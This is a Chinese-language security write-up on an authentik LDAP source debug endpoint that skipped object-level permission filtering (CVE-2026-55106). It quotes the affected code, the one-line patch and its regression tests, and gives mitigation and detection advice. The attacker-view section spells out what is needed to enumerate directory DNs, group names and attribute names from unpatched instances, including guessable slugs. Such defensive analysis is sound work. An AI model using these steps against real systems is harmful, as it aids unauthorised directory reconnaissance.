LDAPSource.connection() 负责把配置对象转成一条真实、已绑定的 LDAP 连接:

代码片段 9:connection() 同时决定“连到哪台 LDAP”和“以谁的身份去连”,所以它是整条链里最敏感的能力放大点。

def connection(
    self,
    server: Server | None = None,
    server_kwargs: dict | None = None,
    connection_kwargs: dict | None = None,
) -> Connection:
    """Get a fully connected and bound LDAP Connection"""
    server_kwargs = server_kwargs or {}
    connection_kwargs = connection_kwargs or {}
    if self.bind_cn is not None:
        connection_kwargs.setdefault("user", self.bind_cn)
    if self.bind_password is not None:
        connection_kwargs.setdefault("password", self.bind_password)
    conn = Connection(
        server or self.server(**server_kwargs),
        raise_exceptions=True,
        receive_timeout=LDAP_TIMEOUT,
        **connection_kwargs,
    )

    if self.start_tls:
        LOGGER.debug("Connection StartTLS", source=self)
        conn.start_tls(read_server_info=False)
    try:
        successful = conn.bind()
        if successful:
            return conn
    except (
        LDAPSchemaError,
        LDAPInsufficientAccessRightsResult,
        LDAPAdminLimitExceededResult,
        LDAPAttributeError,
    ) as exc:
        if server_kwargs.get("get_info", ALL) == NONE:
            LOGGER.warning("Failed to connect after schema downgrade", source=self, exc=exc)
            raise exc
        LOGGER.warning("Downgrading connection to no schema info", source=self, exc=exc)
        server_kwargs["get_info"] = NONE
        return self.connection(server, server_kwargs, connection_kwargs)
    finally:
        if conn.server.tls.certificate_file is not None and exists(
            conn.server.tls.certificate_file
        ):
            rmtree(dirname(conn.server.tls.certificate_file))
    return RuntimeError("Failed to bind")

这里最好把两层语义分开看。

第一层是“连接去哪儿”:self.server(...) 和 server_uri 决定 LDAP 服务器位置、TLS 和相关连接参数。

第二层是“以谁的身份去连”:bind_cn 和 bind_password 被直接塞进 Connection(...),然后执行 bind()。

这也是这条漏洞链最敏感的地方。攻击者自己并没有 LDAP 凭据,但只要能越权取到 source,就能让 authentik 替他完成一次用既有 bind 身份发起的 LDAP 查询。

6.6 三个 synchronizer 各自到底查了什么

6.6.1 用户同步器

用户同步器里的 get_objects() 很直接:

代码片段 10:用户同步器按正式用户同步配置去取样本,而不是额外写一套 debug 专用查询。

class UserLDAPSynchronizer(BaseLDAPSynchronizer):
    """Sync LDAP Users into authentik"""

    @staticmethod
    def name() -> str:
        return "users"

    def get_objects(self, **kwargs) -> Generator:
        if not self._source.sync_users:
            self._task.info("User syncing is disabled for this Source")
            return iter(())
        return self.search_paginator(
            search_base=self.base_dn_users,
            search_filter=self._source.user_object_filter,
            search_scope=SUBTREE,
            attributes=[
                ALL_ATTRIBUTES,
                ALL_OPERATIONAL_ATTRIBUTES,
                self._source.object_uniqueness_field,
            ],
            **kwargs,
        )

这说明 users 样本不是泛泛地“找点用户数据”,而是按这份 Source 的正式用户同步配置去查:

  • 从 base_dn_users 开始
  • 用 user_object_filter 做筛选
  • 请求标准属性、操作属性,以及唯一标识字段

所以回包里出现 uid=alice,... 这类条目,不是巧合,而是同步器按正式用户搜索参数取回来的对象。

6.6.2 组同步器

组同步器与用户同步器平行:

代码片段 11:组同步器沿用的是正式组同步的搜索范围和过滤条件。

class GroupLDAPSynchronizer(BaseLDAPSynchronizer):
    """Sync LDAP Users and groups into authentik"""

    @staticmethod
    def name() -> str:
        return "groups"

    def get_objects(self, **kwargs) -> Generator:
        if not self._source.sync_groups:
            self._task.info("Group syncing is disabled for this Source")
            return iter(())
        return self.search_paginator(
            search_base=self.base_dn_groups,
            search_filter=self._source.group_object_filter,
            search_scope=SUBTREE,
            attributes=[
                ALL_ATTRIBUTES,
                ALL_OPERATIONAL_ATTRIBUTES,
                self._source.object_uniqueness_field,
            ],
            **kwargs,
        )

所以 groups 数组本质上是在回答一个问题:如果管理员正常运行组同步,这个 Source 会去哪儿、按什么条件查组、并看见哪些组对象。

6.6.3 成员关系同步器

成员关系同步器比前两个更值得展开,因为它解释了为什么回包里会出现成员关系字段信息。

它的 get_objects() 先决定要请求哪些属性:

代码片段 12:成员关系同步器最关键的不是“再查一遍组”,而是明确暴露了这份 Source 用哪个字段解释 membership。

class MembershipLDAPSynchronizer(BaseLDAPSynchronizer):
    """Sync LDAP Users and groups into authentik"""

    @staticmethod
    def name() -> str:
        return "membership"

    def get_objects(self, **kwargs) -> Generator:
        if not self._source.sync_groups:
            self._task.info("Group syncing is disabled for this Source")
            return iter(())

        # If we are looking up groups from users, we don't need to fetch the group membership field
        attributes = [self._source.object_uniqueness_field, LDAP_DISTINGUISHED_NAME]
        if not self._source.lookup_groups_from_user:
            attributes.append(self._source.group_membership_field)

        return self.search_paginator(
            search_base=self.base_dn_groups,
            search_filter=self._source.group_object_filter,
            search_scope=SUBTREE,
            attributes=attributes,
            **kwargs,
        )

这说明 membership 并不是另一个独立目录,而是围绕“组对象如何表达成员关系”做的补充查询。在常见 lookup_groups_from_user=False 场景下,group_membership_field 也会被请求回来,所以攻击者能直接看见这份 Source 用哪个字段解释成员关系。在这次复现环境里,这个字段就是 member。

如果启用了 lookup_groups_from_user=True,它还会反过来根据组 DN 拼过滤器:

代码片段 13:在另一条分支里,成员关系同步器甚至会基于组 DN 再发一次用户搜索,说明这不是展示层拼装,而是真实的二次 LDAP 检索。

for group_data in page_data:
    if self._source.lookup_groups_from_user:
        group_dn = group_data.get("dn", {})
        escaped_dn = escape_filter_chars(group_dn)
        group_filter = f"({self._source.group_membership_field}={escaped_dn})"
        group_members = self._source.connection().extend.standard.paged_search(
            search_base=self.base_dn_users,
            search_filter=group_filter,
            search_scope=SUBTREE,
            attributes=[self._source.object_uniqueness_field],
        )
        members = []
        for group_member in group_members:
            group_member_dn = group_member.get("dn", {})
            members.append(group_member_dn)

这一点进一步说明,成员关系同步器不是展示层小逻辑,而是会继续驱动真实 LDAP 检索。

6.7 为什么 debug 的返回值仍然接近“正式目录视图”

返回前只做了两步裁剪:

obj.pop("raw_attributes", None)
obj.pop("raw_dn", None)

它删掉的是更底层的原始副本字段,但没有改变对象是怎么取回来的,也没有改变顶层结构仍然来自正式同步器。因此回包里保留下来的 dn、attributes、type 仍然足以反映:

  • 目录结构
  • 命名规范
  • 属性名集合
  • 组成员关系字段
  • 同步逻辑对对象类型的理解方式

所以这不是“看起来像 debug 输出就不敏感”的数据,而是“经过少量裁剪的正式同步样本”。

7. 为什么“只返回 DN 和属性名”仍然值得重视

这个漏洞很容易被低估,因为它通常不会直接回显属性值,第一眼看上去像“只是 debug 信息泄露”。

但从回包结构看,攻击者至少能稳定得到:

  • 真实 DN,例如 uid=alice,ou=users,dc=example,dc=org
  • 真实组 DN,例如 cn=engineering,ou=groups,dc=example,dc=org
  • 属性名,例如 mail、member、userPassword、entryUUID
  • 用户、组、成员关系三类对象是否存在

不过这里有两个边界还是要讲清楚。

第一,回包里出现 userPassword,不代表密码值或 hash 被直接返回。当前能确认的是“这个属性名存在”,而不是属性值泄露。

第二,raw_attributes 和 raw_dn 在返回前已被删掉,说明接口确实做了裁剪;但裁剪后的元数据仍然足够支持后续侦察。在常见以 uid=、cn= 组织 DN 的目录里,这些信息往往已经能进一步支持:

  • 用户名样本收集
  • 目录树结构识别
  • 组关系和成员字段推测
  • LDAP 字段风格识别

更准确的定性是:它不是高破坏性的直接敏感值泄露,但确实是一类高价值目录元数据泄露。

8. 补丁分析

2026.5.4 -> 2026.5.5 的核心修复只有一行,小到几乎会被忽略:

代码片段 14:补丁虽然只有一行,但它改的是 detail action 的对象解析语义,不是末端的输出格式。

@@
     @extend_schema(
         responses={
             200: inline_serializer(
                 "LDAPDebugSerializer",
                 fields={
                     "user": ListField(child=DictField(), read_only=True),
                     "group": ListField(child=DictField(), read_only=True),
                     "membership": ListField(child=DictField(), read_only=True),
                 },
             ),
         }
     )
-    @action(methods=["GET"], detail=True, pagination_class=None, filter_backends=[])
+    @action(methods=["GET"], detail=True, pagination_class=None, filter_backends=[ObjectFilter])
     def debug(self, request: Request, slug: str) -> Response:
         """Get raw LDAP data to debug"""
         source = self.get_object()
         all_objects = {}

2026.2.5 -> 2026.2.6 做的是同样的修复。

从补丁语义上看,脆弱版本把 debug 明确排除在 ObjectFilter 之外,修复版本则把它挂回 filter_backends=[ObjectFilter]。

这个补丁看起来很小,但它正好打在根因上。官方没有额外给 debug 写一套专用鉴权,而是直接把它拉回现有的对象权限模型。这样的修法很克制,好处也很直接:

  • 逻辑短
  • 审计成本低
  • 不会引入一套新的权限分支
  • 更容易通过回归测试固定安全语义

8.1 回归测试补得也很到位

修复版本把成功路径和两个拒绝路径都写进了测试里,源码如下:

@apply_blueprint("system/sources-ldap.yaml")
def test_sync_debug(self):
    user = create_test_admin_user()
    self.client.force_login(user)

    source: LDAPSource = LDAPSource.objects.create(
        name=generate_id(),
        slug=generate_id(),
        base_dn="dc=goauthentik,dc=io",
        additional_user_dn="ou=users",
        additional_group_dn="ou=groups",
    )
    source.user_property_mappings.set(
        LDAPSourcePropertyMapping.objects.filter(
            Q(managed__startswith="goauthentik.io/sources/ldap/default")
            | Q(managed__startswith="goauthentik.io/sources/ldap/ms")
        )
    )
    connection = MagicMock(return_value=mock_ad_connection())
    with patch("authentik.sources.ldap.models.LDAPSource.connection", connection):
        res = self.client.get(
            reverse("authentik_api:ldapsource-debug", kwargs={"slug": source.slug})
        )
        self.assertEqual(res.status_code, 200)
        body = loads(res.content.decode())
        self.assertIn("users", body)
        self.assertIn("groups", body)
        self.assertIn("membership", body)

def _create_debug_source(self) -> LDAPSource:
    return LDAPSource.objects.create(
        name=generate_id(),
        slug=generate_id(),
        base_dn="dc=goauthentik,dc=io",
        additional_user_dn="ou=users",
        additional_group_dn="ou=groups",
    )

@apply_blueprint("system/sources-ldap.yaml")
def test_debug_denied_for_anonymous(self):
    """debug must enforce RBAC: an anonymous caller may not read LDAP data."""
    source = self._create_debug_source()
    # NOTE: no self.client.force_login() -> caller is AnonymousUser
    connection = MagicMock(return_value=mock_ad_connection())
    with patch("authentik.sources.ldap.models.LDAPSource.connection", connection):
        res = self.client.get(
            reverse("authentik_api:ldapsource-debug", kwargs={"slug": source.slug})
        )
    self.assertEqual(res.status_code, 403)

@apply_blueprint("system/sources-ldap.yaml")
def test_debug_denied_for_unauthorized_user(self):
    """debug must enforce RBAC: a user without view_ldapsource may not read LDAP data."""
    source = self._create_debug_source()
    # Authenticated, but holds no permission on the source object
    self.client.force_login(create_test_user())
    connection = MagicMock(return_value=mock_ad_connection())
    with patch("authentik.sources.ldap.models.LDAPSource.connection", connection):
        res = self.client.get(
            reverse("authentik_api:ldapsource-debug", kwargs={"slug": source.slug})
        )
    self.assertEqual(res.status_code, 403)

这三条测试合起来,把预期语义钉得很清楚:

  1. 匿名调用者应返回 403。
  2. 已认证但无对象权限的调用者也应返回 403。
  3. 有权限的用户仍然可以使用 debug。

图 2:测试矩阵实际上固定了三种主体的安全语义。后面哪怕有人再次把权限链拆掉,CI 也会先响。

管理员 / 有权限用户       -> 200 -> 允许调试
匿名用户                 -> 403 -> 禁止读取 LDAP 样本
已登录但无对象权限用户   -> 403 -> 禁止读取 LDAP 样本

9. 攻击者视角复盘

9.1 最小利用前提

条件

是否必须

目标实例配置了至少一个 LDAP Source

是

攻击者能访问 authentik API

是

攻击者知道或可猜测某个 Source slug

是

LDAP 凭据

否

管理员权限

否

9.2 收益边界

收益

结论

用户枚举

视目录 DN 命名习惯而定,常见 uid= 目录中可

组名枚举

视目录 DN 命名习惯而定,常见 cn= 目录中可

成员关系侦察

部分可,至少可确认相关组对象、成员字段和命名结构

bind 密码直接泄露

不可

属性值批量泄露

本地复现和官方公告都不支持这个结论

直接实例接管

不能从本文证据直接推出

9.3 slug 不是可靠防线

这类问题常见的低估方式是:“还得知道 slug,门槛不算低。”这当然算一个利用前提,但很难算安全边界,因为:

  • slug 往往来自具名配置对象,命名习惯通常可预测
  • 文档、测试、日志或截图里都可能间接暴露它
  • 很多环境会使用类似 corp-ldap、main-ldap、ad、employees 这类低熵命名

因此,slug 更像是利用门槛,不是防护措施。

10. 防守方应该怎么处理

10.1 首选方案

升级到修复版本:

  • 2026.5.5
  • 2026.2.6

10.2 升级前的临时缓解

如果短期内不能升级,至少应在反向代理、WAF 或 Ingress 层限制该调试接口:

  • 仅允许管理网段访问 /api/v3/sources/ldap/*/debug/
  • 如果业务上不需要,对外网直接阻断该路径
  • 一并审视其他“preview / test / debug”类接口是否也暴露在公网

10.3 事后排查的关注点

如果需要追溯利用痕迹,可以重点检查:

  • /api/v3/sources/ldap/<slug>/debug/ 的访问日志
  • 未携带认证信息却返回 200 的请求
  • 同一来源对多个 slug 的快速探测
  • 来自扫描器 UA、异常出口 IP 或公开互联网的调试接口访问

11. 对代码审计的启示

这个案例很适合沉淀成一条可迁移的审计思路,因为它不是 authentik 独有的写法问题,而是很多 DRF 项目都会踩到的边界误判。

11.1 对 DRF 项目的检查点

重点看三件事:

  1. @action(detail=True, ...) 是否覆写了 filter_backends。
  2. 方法体里是否调用了 self.get_object()。
  3. 取到对象后是否立刻触发了外部访问、调试预览、测试连接或其他敏感动作。

如果这三点同时出现,而且当前 action 的过滤链又明显弱于同类 action,就很值得继续深挖。

11.2 本文对应的本地查询

当前工作区里已经固化了两条和本文直接相关的 CodeQL 查询:

  • codeql-queries/cve-2026-55106/filter_backends_empty.ql
  • codeql-queries/cve-2026-55106/debug_chain.ql

第一条查询抓的是危险入口形状:detail action + filter_backends=[] + self.get_object()。

第二条查询抓的是最短执行链:self.get_object() 之后继续走 get_objects(...)。

它们未必能直接判定漏洞,但足够把“对象级授权链可能被 action 配置削弱”的候选点批量筛出来。

12. 结语

CVE-2026-55106 没有复杂的利用技巧,价值恰恰在于它足够典型。一个本来用于管理调试的 detail action,只因为脱离了既有对象权限过滤,就变成了外部可利用的目录元数据泄露点。

从工程角度看,最值得记住的不是那一行补丁本身,而是这条边界:任何会驱动 LDAPSource 这类外部连接对象执行敏感动作的接口,都应该先在对象级授权之后再解析对象。这个顺序一旦反过来,后续业务逻辑写得再规整,风险也已经成立了。